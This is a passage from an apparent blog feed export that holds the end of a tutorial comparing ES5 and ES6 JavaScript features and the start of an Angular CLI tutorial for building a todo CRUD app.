noise.</span></span><br><span class="line"><span class="comment">// Simba roars.</span></span><br></pre></td></tr></table></figure>

<p>I won’t go over all details but notice:</p>
<ul>
<li>Line 3, we explicitly call <code>Animal</code> constructor with the parameters.</li>
<li>Line 7-8, we assigned the <code>Lion</code> prototype to <code>Animal</code>‘s prototype.</li>
<li>Line 11, we call the <code>speak</code> method from the parent class <code>Animal</code>.</li>
</ul>
<p>In ES6, we have a new keywords <code>extends</code> and <code>super</code> <img src="/images/superman_shield.svg" width="25" height="25" alt="superman shield" style="display:inline-block;">.</p>
<figure class="highlight js"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Lion</span> <span class="keyword">extends</span> <span class="title">Animal</span> </span>&#123;</span><br><span class="line">  speak() &#123;</span><br><span class="line marked">    <span class="built_in">super</span>.speak();</span><br><span class="line">    <span class="built_in">console</span>.log(<span class="built_in">this</span>.name + <span class="string">&#x27; roars 🦁&#x27;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> lion = <span class="keyword">new</span> Lion(<span class="string">&#x27;Simba&#x27;</span>);</span><br><span class="line">lion.speak(); <span class="comment">// Simba makes a noise.</span></span><br><span class="line"><span class="comment">// Simba roars.</span></span><br></pre></td></tr></table></figure>

<p>Looks how legible this ES6 code looks compared with ES5 and they do exactly the same. Win!</p>
<blockquote>
<p>Best practices:</p>
</blockquote>
<ul>
<li>Use the built-in way for inherintance with <code>extends</code>.</li>
</ul>
<h3 id="Native-Promises"><a href="#Native-Promises" class="headerlink" title="Native Promises"></a>Native Promises</h3><p>We went from callback hell 👹 to promises 🙏</p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">printAfterTimeout</span>(<span class="params">string, timeout, done</span>)</span>&#123;</span><br><span class="line">  <span class="built_in">setTimeout</span>(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line marked">    done(string);</span><br><span class="line">  &#125;, timeout);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">printAfterTimeout(<span class="string">&#x27;Hello &#x27;</span>, <span class="number">2e3</span>, <span class="function"><span class="keyword">function</span>(<span class="params">result</span>)</span>&#123;</span><br><span class="line">  <span class="built_in">console</span>.log(result);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// nested callback</span></span><br><span class="line marked">  printAfterTimeout(result + <span class="string">&#x27;Reader&#x27;</span>, <span class="number">2e3</span>, <span class="function"><span class="keyword">function</span>(<span class="params">result</span>)</span>&#123;</span><br><span class="line">    <span class="built_in">console</span>.log(result);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>We have one function that receives a callback to execute when is <code>done</code>. We have to execute it twice one after another. That’s why we called the 2nd time <code>printAfterTimeout</code> in the callback.</p>
<p>This can get messy pretty quickly if you need a 3rd or 4th callback. Let’s see how we can do it with promises:</p>
<figure class="highlight js"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">printAfterTimeout</span>(<span class="params">string, timeout</span>)</span>&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="built_in">setTimeout</span>(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line marked">      resolve(string);</span><br><span class="line">    &#125;, timeout);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">printAfterTimeout(<span class="string">&#x27;Hello &#x27;</span>, <span class="number">2e3</span>).then(<span class="function">(<span class="params">result</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="built_in">console</span>.log(result);</span><br><span class="line marked">  <span class="keyword">return</span> printAfterTimeout(result + <span class="string">&#x27;Reader&#x27;</span>, <span class="number">2e3</span>);</span><br><span class="line"></span><br><span class="line marked">&#125;).then(<span class="function">(<span class="params">result</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="built_in">console</span>.log(result);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>As you can see, with promises we can use <code>then</code> to do something after another function is done. No more need to keep nesting functions.</p>
<h3 id="Arrow-functions"><a href="#Arrow-functions" class="headerlink" title="Arrow functions"></a>Arrow functions</h3><p>ES6 didn’t remove the function expressions but it added a new one called arrow functions.</p>
<p>In ES5, we have some issues with <code>this</code>:</p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line marked"><span class="keyword">var</span> _this = <span class="built_in">this</span>; <span class="comment">// need to hold a reference</span></span><br><span class="line"></span><br><span class="line">$(<span class="string">&#x27;.btn&#x27;</span>).click(<span class="function"><span class="keyword">function</span>(<span class="params">event</span>)</span>&#123;</span><br><span class="line marked">  _this.sendData(); <span class="comment">// reference outer this</span></span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">$(<span class="string">&#x27;.input&#x27;</span>).on(<span class="string">&#x27;change&#x27;</span>,<span class="function"><span class="keyword">function</span>(<span class="params">event</span>)</span>&#123;</span><br><span class="line">  <span class="built_in">this</span>.sendData(); <span class="comment">// reference outer this</span></span><br><span class="line marked">&#125;.bind(<span class="built_in">this</span>)); <span class="comment">// bind to outer this</span></span><br></pre></td></tr></table></figure>


<p>You need to use a temporary <code>this</code> to reference inside a function or use <code>bind</code>. In ES6, you can use the arrow function!</p>
<figure class="highlight js"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// this will reference the outer one</span></span><br><span class="line marked">$(<span class="string">&#x27;.btn&#x27;</span>).click(<span class="function">(<span class="params">event</span>) =&gt;</span>  <span class="built_in">this</span>.sendData());</span><br><span class="line"></span><br><span class="line"><span class="comment">// implicit returns</span></span><br><span class="line"><span class="keyword">const</span> ids = [<span class="number">291</span>, <span class="number">288</span>, <span class="number">984</span>];</span><br><span class="line marked"><span class="keyword">const</span> messages = ids.map(<span class="function"><span class="params">value</span> =&gt;</span> <span class="string">`ID is <span class="subst">$&#123;value&#125;</span>`</span>);</span><br></pre></td></tr></table></figure>

<h3 id="For…of"><a href="#For…of" class="headerlink" title="For…of"></a>For…of</h3><p>We went from <code>for</code> to <code>forEach</code> and then to <code>for...of</code>:</p>
<figure class="highlight javascript"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// for</span></span><br><span class="line"><span class="keyword">var</span> array = [<span class="string">&#x27;a&#x27;</span>, <span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;c&#x27;</span>, <span class="string">&#x27;d&#x27;</span>];</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; array.length; i++) &#123;</span><br><span class="line">  <span class="keyword">var</span> element = array[i];</span><br><span class="line">  <span class="built_in">console</span>.log(element);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// forEach</span></span><br><span class="line">array.forEach(<span class="function"><span class="keyword">function</span> (<span class="params">element</span>) </span>&#123;</span><br><span class="line">  <span class="built_in">console</span>.log(element);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>The ES6 for…of also allow us to do iterations.</p>
<figure class="highlight javascript"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// for ...of</span></span><br><span class="line"><span class="keyword">const</span> array = [<span class="string">&#x27;a&#x27;</span>, <span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;c&#x27;</span>, <span class="string">&#x27;d&#x27;</span>];</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">const</span> element <span class="keyword">of</span> array) &#123;</span><br><span class="line">    <span class="built_in">console</span>.log(element);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h3 id="Default-parameters"><a href="#Default-parameters" class="headerlink" title="Default parameters"></a>Default parameters</h3><p>We went from checking if the variable was defined to assign a value to <code>default parameters</code>. Have you done something like this before?</p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">point</span>(<span class="params">x, y, isFlag</span>)</span>&#123;</span><br><span class="line marked">  x = x || <span class="number">0</span>;</span><br><span class="line marked">  y = y || <span class="number">-1</span>;</span><br><span class="line marked">  isFlag = isFlag || <span class="literal">true</span>;</span><br><span class="line">  <span class="built_in">console</span>.log(x,y, isFlag);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line marked">point(<span class="number">0</span>, <span class="number">0</span>) <span class="comment">// 0 -1 true 😱</span></span><br><span class="line marked">point(<span class="number">0</span>, <span class="number">0</span>, <span class="literal">false</span>) <span class="comment">// 0 -1 true 😱😱</span></span><br><span class="line">point(<span class="number">1</span>) <span class="comment">// 1 -1 true</span></span><br><span class="line">point() <span class="comment">// 0 -1 true</span></span><br></pre></td></tr></table></figure>

<p>Probably yes, it’s a common pattern to check is the variable has a value or assign a default. Yet, notice there are some issues:</p>
<ul>
<li>Line 8, we pass <code>0, 0</code> and get <code>0, -1</code></li>
<li>Line 9, we pass <code>false</code> but get <code>true</code>.</li>
</ul>
<p>If you have a boolean as a default parameter or set the value to zero, it doesn’t work. Do you know why??? I’ll tell you after the ES6 example ;)</p>
<p>With ES6, Now you can do better with less code!</p>
<figure class="highlight js"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line marked"><span class="function"><span class="keyword">function</span> <span class="title">point</span>(<span class="params">x = <span class="number">0</span>, y = <span class="number">-1</span>, isFlag = true</span>)</span>&#123;</span><br><span class="line">  <span class="built_in">console</span>.log(x,y, isFlag);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line marked">point(<span class="number">0</span>, <span class="number">0</span>) <span class="comment">// 0 0 true</span></span><br><span class="line marked">point(<span class="number">0</span>, <span class="number">0</span>, <span class="literal">false</span>) <span class="comment">// 0 0 false</span></span><br><span class="line">point(<span class="number">1</span>) <span class="comment">// 1 -1 true</span></span><br><span class="line">point() <span class="comment">// 0 -1 true</span></span><br></pre></td></tr></table></figure>

<p>Notice line 5 and 6 we get the expected results. The ES5 example didn’t work. We have to check for <code>undefined</code> first since <code>false</code>, <code>null</code>, <code>undefined</code> and <code>0</code> are falsy values. We can get away with numbers:</p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">point</span>(<span class="params">x, y, isFlag</span>)</span>&#123;</span><br><span class="line">  x = x || <span class="number">0</span>;</span><br><span class="line marked">  y = <span class="keyword">typeof</span>(y) === <span class="string">&#x27;undefined&#x27;</span> ? <span class="number">-1</span> : y;</span><br><span class="line marked">  isFlag = <span class="keyword">typeof</span>(isFlag) === <span class="string">&#x27;undefined&#x27;</span> ? <span class="literal">true</span> : isFlag;</span><br><span class="line">  <span class="built_in">console</span>.log(x,y, isFlag);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line marked">point(<span class="number">0</span>, <span class="number">0</span>) <span class="comment">// 0 0 true</span></span><br><span class="line marked">point(<span class="number">0</span>, <span class="number">0</span>, <span class="literal">false</span>) <span class="comment">// 0 0 false</span></span><br><span class="line">point(<span class="number">1</span>) <span class="comment">// 1 -1 true</span></span><br><span class="line">point() <span class="comment">// 0 -1 true</span></span><br></pre></td></tr></table></figure>

<p>Now it works as expected when we check for <code>undefined</code>.</p>
<h3 id="Rest-parameters"><a href="#Rest-parameters" class="headerlink" title="Rest parameters"></a>Rest parameters</h3><p>We went from arguments to rest parameters and spread operator.</p>
<p>On ES5, it’s clumpsy to get an arbitrary number of arguments:</p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">printf</span>(<span class="params">format</span>) </span>&#123;</span><br><span class="line marked">  <span class="keyword">var</span> params = [].slice.call(<span class="built_in">arguments</span>, <span class="number">1</span>);</span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">&#x27;params: &#x27;</span>, params);</span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">&#x27;format: &#x27;</span>, format);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">printf(<span class="string">&#x27;%s %d %.2f&#x27;</span>, <span class="string">&#x27;adrian&#x27;</span>, <span class="number">321</span>, <span class="built_in">Math</span>.PI);</span><br></pre></td></tr></table></figure>

<p>We can do the same using the  rest operator <code>...</code>.</p>
<figure class="highlight js"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line marked"><span class="function"><span class="keyword">function</span> <span class="title">printf</span>(<span class="params">format, ...params</span>) </span>&#123;</span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">&#x27;params: &#x27;</span>, params);</span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">&#x27;format: &#x27;</span>, format);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">printf(<span class="string">&#x27;%s %d %.2f&#x27;</span>, <span class="string">&#x27;adrian&#x27;</span>, <span class="number">321</span>, <span class="built_in">Math</span>.PI);</span><br></pre></td></tr></table></figure>

<h3 id="Spread-operator"><a href="#Spread-operator" class="headerlink" title="Spread operator"></a>Spread operator</h3><p>We went from <code>apply()</code> to the spread operator. Again we have <code>...</code> to the rescue:</p>
<blockquote>
<p>Reminder: we use <code>apply()</code> to convert an array into a list of arguments. For instance, <code>Math.max()</code> takes a list of parameters, but if we have an array we can use <code>apply</code> to make it work.</p>
</blockquote>
<img src="/images/javascript-math-apply-arrays.png" class="" title="JavaScript Math apply for arrays">

<p>As we saw in earlier, we can use <code>apply</code> to pass arrays as list of arguments:</p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Math</span>.max.apply(<span class="built_in">Math</span>, [<span class="number">2</span>,<span class="number">100</span>,<span class="number">1</span>,<span class="number">6</span>,<span class="number">43</span>]) <span class="comment">// 100</span></span><br></pre></td></tr></table></figure>

<p>In ES6, you can use the spread operator:</p>
<figure class="highlight js"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Math</span>.max(...[<span class="number">2</span>,<span class="number">100</span>,<span class="number">1</span>,<span class="number">6</span>,<span class="number">43</span>]) <span class="comment">// 100</span></span><br></pre></td></tr></table></figure>

<p>Also, we went from <code>concat</code> arrays to use spread operator:</p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> array1 = [<span class="number">2</span>,<span class="number">100</span>,<span class="number">1</span>,<span class="number">6</span>,<span class="number">43</span>];</span><br><span class="line"><span class="keyword">var</span> array2 = [<span class="string">&#x27;a&#x27;</span>, <span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;c&#x27;</span>, <span class="string">&#x27;d&#x27;</span>];</span><br><span class="line"><span class="keyword">var</span> array3 = [<span class="literal">false</span>, <span class="literal">true</span>, <span class="literal">null</span>, <span class="literal">undefined</span>];</span><br><span class="line"></span><br><span class="line marked"><span class="built_in">console</span>.log(array1.concat(array2, array3));</span><br></pre></td></tr></table></figure>

<p>In ES6, you can flatten nested arrays using the spread operator:</p>
<figure class="highlight js"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> array1 = [<span class="number">2</span>,<span class="number">100</span>,<span class="number">1</span>,<span class="number">6</span>,<span class="number">43</span>];</span><br><span class="line"><span class="keyword">const</span> array2 = [<span class="string">&#x27;a&#x27;</span>, <span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;c&#x27;</span>, <span class="string">&#x27;d&#x27;</span>];</span><br><span class="line"><span class="keyword">const</span> array3 = [<span class="literal">false</span>, <span class="literal">true</span>, <span class="literal">null</span>, <span class="literal">undefined</span>];</span><br><span class="line"></span><br><span class="line marked"><span class="built_in">console</span>.log([...array1, ...array2, ...array3]);</span><br></pre></td></tr></table></figure>

<h2 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h2><p>JavaScript has gone through a lot of changes. This article covers most of the core features that every JavaScript developer should know. Also, we cover some best practices to make your code more concise and easier to reason about.</p>
<p>If you think there are some other MUST KNOW feature let me know in the comments below and I will update this article.</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;JavaScript has changed quite a bit in the last years. These are 12 new features that you can start using today!&lt;/p&gt;
&lt;h2 id=&quot;JavaScript-Hi
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
    
      <category term="javascript es6" scheme="https://adrianmejia.com/tags/javascript-es6/"/>
    
  </entry>
  
  <entry>
    <title>Angular Tutorial: Create a CRUD App with Angular CLI and TypeScript</title>
    <link href="https://adrianmejia.com/Angular-2-Tutorial-Create-a-CRUD-App-with-Angular-CLI-and-TypeScript/"/>
    <id>https://adrianmejia.com/Angular-2-Tutorial-Create-a-CRUD-App-with-Angular-CLI-and-TypeScript/</id>
    <published>2016-10-01T21:16:03.000Z</published>
    <updated>2019-11-06T15:46:23.000Z</updated>
    
    <content type="html"><![CDATA[<p>This tutorial gets you off the ground with Angular. We are going to use the official CLI (command line) tool to generate boilerplate code.</p>
<h2 id="Prerequisites"><a href="#Prerequisites" class="headerlink" title="Prerequisites"></a>Prerequisites</h2><p>This tutorial is targeted to people familiar with JavaScript and HTML/CSS. You also will need:</p>
<ul>
<li>Node.js up and running.</li>
<li>NPM (Node package manager) or Yarn installed.</li>
</ul>
<p>You can verify by typing:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">node --version</span><br><span class="line"><span class="comment">## v12.13.0</span></span><br><span class="line">npm --version</span><br><span class="line"><span class="comment">## 6.12.0</span></span><br></pre></td></tr></table></figure>

<p>If you get the versions Node 4.x.x and NPM 3.x.x. or higher you are all set. If not, you have to get the latest versions.</p>
<p>Let’s move on to Angular. We are going to create a Todo app. We will be able to CRUD (create-read-update-delete) tasks:</p>
<ul>
<li>Live Demo: <a href="https://angular-todo-app-crud.netlify.com/">Angular Todo app preview</a></li>
<li>Repository <a href="https://github.com/amejiarosario/angular-todo-app">angular-todo-app</a></li>
</ul>
<h2 id="Understanding-ng-new"><a href="#Understanding-ng-new" class="headerlink" title="Understanding ng new"></a>Understanding ng new</h2><p>Angular CLI is the best way to get us started. We can download the tool and create a new project by running:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## install angular-cli globally</span></span><br><span class="line">npm install -g @angular/cli@9.1.7</span><br><span class="line"><span class="comment">## npm install -g @angular/cli # get latest</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## Check angular CLI is installed</span></span><br><span class="line">ng --version</span><br><span class="line"><span class="comment">## Angular CLI: 9.1.7 ...</span></span><br></pre></td></tr></table></figure>

<p>You can update to the lastest versions in the future using:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ng update @angular/cli @angular/core</span><br></pre></td></tr></table></figure>

<p>The rest of the steps remain the same regarless of the version.</p>
<p>Scafold the app using the following command.</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## create a new project</span></span><br><span class="line">ng new Todos --style=scss</span><br></pre></td></tr></table></figure>

<p><strong>Note</strong> The last command takes some minutes. Leave it running and continue reading this tutorial.</p>
<p>The command <code>ng new</code> will do a bunch of things for us:</p>
<ol>
<li>Initialize a git repository</li>
<li>Creates an <code>package.json</code> files with all the Angular dependencies.</li>
<li>Setup TypeScript, Webpack, Tests (Jasmine, Protractor, Karma). Don’t worry if you don’t know what they are. We are going to cover them later.</li>
<li>It creates the <code>src</code> folder with the bootstrapping code to load our app into the browser</li>
<li>Finally, it does an <code>npm install</code> to get all the packages into <code>node_modules</code>.</li>
</ol>
<p>Let’s run the app!</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> Todos</span><br><span class="line"><span class="comment">## builds the app and run it on port 9000</span></span><br><span class="line">ng serve ---port 9000</span><br></pre></td></tr></table></figure>

<p>Open your browser on <a href="http://localhost:9000/">http://localhost:9000/</a>, and you should see “Todos app is running!”. Awesome!</p>
<p>Now let’s dive into the <code>src</code> folder and get familiarized with the structure.</p>
<h3 id="package-json"><a href="#package-json" class="headerlink" title="package.json"></a>package.json</h3><p>Open the <code>package.json</code> file and take a look at the dependencies. We have all the angular dependencies with the prefix <code>@angular/...</code>. Other dependencies (not exclusively for Angular) are also needed, such as RxJS, Zone.js, and some others. We are going to cover them in other posts.</p>
<h3 id="src-index-html"><a href="#src-index-html" class="headerlink" title="src/index.html"></a>src/index.html</h3><p>We are building an SPA (single page application), so everything is going to be loaded into the <code>index.html</code>. Let’s take a look in the <code>src/index.html</code>. It’s pretty standard HTML5 code, except for two elements that are specific for our app:</p>
<ol>
<li><code>&lt;base href=&quot;/&quot;&gt;</code></li>
<li><code>&lt;app-root&gt;Loading...&lt;/app-root&gt;</code></li>
</ol>
<p><code>base href</code> is needed for Angular routing to work correctly. We are going to cover Routing later.</p>
<p><code>&lt;app-root&gt;</code> this is not a standard HTML tag. Our Angular App defines it. It’s an Angular <strong>component</strong>. More on this later.</p>
<h3 id="src-main-ts"><a href="#src-main-ts" class="headerlink" title="src/main.ts"></a>src/main.ts</h3><p><code>main.ts</code> is where our application starts bootstrapping (loading). Angular can be used not just in browsers, but also on other platforms such as mobile apps or even desktop apps. So, when we start our application, we have to specify what platform we want to target. That’s why we import: <code>platform-browser-dynamic</code>. Notice that we are also importing the <code>AppModule</code> from <code>./app.module</code>.</p>
<p>The most important line is:</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">platformBrowserDynamic().bootstrapModule(AppModule);</span><br></pre></td></tr></table></figure>

<p>We are loading our <code>AppModule</code> into the browser platform. Now, let’s take a look at the <code>./app/app.module.ts</code> directory.</p>
<h3 id="App-directory"><a href="#App-directory" class="headerlink" title="App directory"></a>App directory</h3><p>The <code>app</code> directory contains the components used to mount the rest of the application. In this directory, you can find the app module, component and routing.</p>
<p>If you remember in the <code>index.html</code>, there’s a  <code>&lt;app-root&gt;</code>. This is where this component is defined.</p>
<p>Let’s start by opening <code>app.module</code>.</p>
<h4 id="app-module-ts"><a href="#app-module-ts" class="headerlink" title="app.module.ts"></a>app.module.ts</h4><p>We are going to be using this file often. The most important part is the metadata inside the <code>@NgModule</code>. There we have <code>declarations</code>, <code>imports</code>, <code>providers</code> and <code>bootstrap</code>.</p>
<ul>
<li><strong>Declarations</strong>: goes all your components (e.g., AppComponent, TodoComponent)</li>
<li><strong>Imports</strong>: routes and modules go here.</li>
<li><strong>Bootstrap</strong>: list the components you want to load when the app starts. In our case is <code>AppComponent</code>.</li>
</ul>
<h4 id="app-component-ts"><a href="#app-component-ts" class="headerlink" title="app.component.ts"></a>app.component.ts</h4><p><code>AppComponent</code> looks a little similar to the app module, but instead of <code>@NgModule</code> we have <code>@Component</code>. Again, the most important part is the value of the attributes (metadata). We have <code>selector</code>, <code>templateUrl</code> and <code>styleUrls</code>:</p>
<ul>
<li><code>selector</code>: is the name of the component. Do you remember the <code>&lt;app-root&gt;&lt;/app-root&gt;</code> on the index.html? This is where it’s defined.
<code>templateUrl</code>: This is where the HTML code is. <code>&lt;app-root&gt;</code> will be replaced for whatever you have in the template.</li>
<li><code>styleUrls</code>: You can have styles that only apply to this component. This is pretty neat! You can change the styles with confidence knowing that it won’t bleed into other parts of the website.</li>
</ul>
<p>Inside the <code>AppComponent</code> class you can define variables (e.g. <code>title</code>) that are used in the templates (e.g. <code>app.component.html</code>).</p>
<p>Let’s remove the placeholders from <code>app.component.html</code>. Replace all the content already there with:</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">style</span>=<span class="string">&quot;text-align:center&quot;</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">h1</span>&gt;</span></span><br><span class="line">    &#123;&#123; title &#125;&#125;</span><br><span class="line">  <span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">router-outlet</span>&gt;</span><span class="tag">&lt;/<span class="name">router-outlet</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>Test your changes running:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ng serve ---port 9000</span><br></pre></td></tr></table></figure>

<p>You should see the new message.</p>
<p><a target="_blank" href="https://github.com/amejiarosario/angular-todo-app/commit/bf23970">[changes diff]</a></p>
<h2 id="Creating-a-new-Component-with-Angular-CLI"><a href="#Creating-a-new-Component-with-Angular-CLI" class="headerlink" title="Creating a new Component with Angular CLI"></a>Creating a new Component with Angular CLI</h2><p>Let’s create a new component to display the tasks. We can quickly create by typing:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ng generate component todo</span><br></pre></td></tr></table></figure>

<p>This command will create a new folder with four files:</p>
